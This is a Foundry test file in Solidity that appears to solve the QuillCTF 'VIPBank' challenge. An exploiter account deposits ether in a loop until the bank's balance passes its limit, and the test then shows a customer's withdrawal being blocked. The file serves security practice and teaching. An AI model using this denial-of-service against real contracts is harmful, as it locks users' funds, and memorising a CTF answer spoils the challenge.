VIPBankExploit.t.sol

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;

import '../../src/QuillCTF/VIPBank.sol';
import '@forge-std/Test.sol';
import '@forge-std/console.sol';

contract VIPBankExploit is Test {
  VIPBank target;
  address deployer = makeAddr('deployer');
  address exploiter = makeAddr('exploiter');
  address alice = makeAddr('alice');

  function setUp() public {
    // Fund accounts
    vm.deal(alice, 1 ether);
    vm.deal(exploiter, 10 ether);

    // Deploy target contract
    vm.startPrank(deployer);
    target = new VIPBank();
    console.log('Target contract deployed');
    target.addVIP(alice);
    console.log('Alice is now a VIP');
    target.addVIP(exploiter);
    console.log('Exploiter is now a VIP');
    vm.stopPrank();

    // Customer deposits funds
    vm.startPrank(alice);
    target.deposit{value: 0.05 ether}();
    console.log('Alice deposits funds in the bank');
    vm.stopPrank();
  }

  function testExploit() public {
    // Alice can withdraw funds
    vm.startPrank(alice);
    console.log('Alice tries to withdraw funds successfuly');
    target.withdraw(0.001 ether);
    vm.stopPrank();

    // Run the exploit
    vm.startPrank(exploiter);
    uint256 maxETH = target.maxETH();
    console.log(
      'Deposit funds in the contract until the bank holds at least %d wei (%dx10^15 wei)',
      maxETH,
      (maxETH * 1000) / (1 ether)
    );
    console.log(
      'Bank balance: %d wei (%dx10^15 wei)',
      target.contractBalance(),
      (target.contractBalance() * 1000) / (1 ether)
    );
    while (target.contractBalance() <= maxETH) {
      target.deposit{value: 0.05 ether}();
      console.log('Exploiter deposits 0.05 ether');
    }
    vm.stopPrank();
    console.log(
      'Bank balance: %d wei (%dx10^15 wei)',
      target.contractBalance(),
      (target.contractBalance() * 1000) / (1 ether)
    );

    // Alice can't withdraw any funds
    vm.startPrank(alice);
    console.log('Alice tries to withdraw funds without any success');
    vm.expectRevert('Cannot withdraw more than 0.5 ETH per transaction');
    target.withdraw(0.05 ether);
    vm.stopPrank();
  }
}